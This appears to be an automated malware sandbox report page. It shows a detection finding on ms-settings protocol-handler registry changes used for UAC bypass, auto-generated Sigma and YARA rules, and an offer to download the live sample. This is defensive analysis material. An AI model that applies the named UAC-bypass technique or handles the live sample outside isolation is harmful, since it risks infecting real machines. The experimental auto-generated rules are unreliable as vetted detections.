| Medium | Registry Modification of MS-settings Protocol Handler Detects registry modifications to the 'ms-settings' protocol handler, which is frequently targeted for UAC bypass or persistence.
Attackers can modif… |
process_creation | T1548.002 T1546.001 T1112 | process pid=2872, process pid=2092 |
Generated rules
Sigma: auto_file_2530_sigma_reg
Auto-generatedtitle: Auto-generated registry behavior rule (sandbox scan 2530)
id: sandbox-auto-2530-reg
status: experimental
description: Auto-generated from sandbox scan 2530
logsource:
category: registry_event
product: windows
detection:
selection:
TargetObject|contains:
- 'Software\Microsoft\WBEM\CIMOM'
- 'Software\Microsoft\RFC1156Agent\CurrentVersion\Parameters'
condition: selection
level: mediumYARA: auto_file_2530_yara
Auto-generatedrule auto_file_2530_yara
{
meta:
description = "Auto-generated from scan 2530"
author = "sandbox auto-generator"
imphash = "72c4e339b7af8ab1ed2eb3821c98713a"
anchors = "5 independent regions"
strings:
$s0 = "SPLASH: failed to load Tcl/Tk shared libraries!" ascii fullword
$s1 = "Failed to load Tcl/Tk shared libraries for splash screen!" ascii fullword
$s2 = "inflate 1.3.1 Copyright 1995-2024 Mark Adler" ascii fullword
$s3 = "invalid literal/lengths set" ascii fullword
$s4 = "Path of ucrtbase.dll (%s) and its name exceed buffer size (%d)" ascii fullword
condition:
uint16(0) == 0x5a4d and filesize < 35360832 and all of them
}Extracted files
What came out of the sample: unpacked payloads, carved objects and captured memory. Each one is stored by content hash, so the same object extracted twice is the same row.
No extracted files
Nothing was unpacked or carved out of this sample. Packed samples, documents with embedded objects and installers are the ones that usually produce artifacts here.
Export & download
/s/2530Structured exports for your SIEM/TIP - ATT&CK Navigator layer, STIX 2.1 bundle, MISP event and a defanged IOC list - are free on every report. The packet capture follows this scan's plan, because a capture is the rawest network output this platform produces.
AI analysis report
An enterprise report with an AI-written executive summary, threat assessment, kill chain, and recommendations, plus the derived evidence (verdict, MITRE ATT&CK, network, file modifications, dropped files, IOCs) and screenshots. The AI narrative is built from derived analysis data only, so the raw sample never leaves the host (no-upload and AI-boundary preserved).
Generating AI report
Building your report...Compiling the AI narrative and derived evidence. This can take a moment.
Report readyYour report has been generated.
Download
Could not generate the reportPlease try again.
Not available for this scanIt was submitted under ultra privacy, so no derived data from it is sent to the model - and this document is written from that data. Every other section of this report is unaffected.
Headers
Body
Headers
Body
Download live malware sample
You are about to download the raw, live sample. It is real, potentially destructive malware and can harm your machine if opened or run. Only handle it inside an isolated analysis environment.
Delivered as a ZIP encrypted with the password infected so the bytes are never handled unprotected.
Report this analysis
Analysis reports are produced automatically from files, addresses and text submitted by visitors. If this one publishes your material, identifies you, or should not be public for any other reason, tell us why and an administrator will review it.
Public analyses of this file
1 run| Submitted | Environment | Verdict | Score |
|---|---|---|---|
| 2026-09-26 12:36 Shown below | Windows 10 22H2 | Malicious | 100/100 |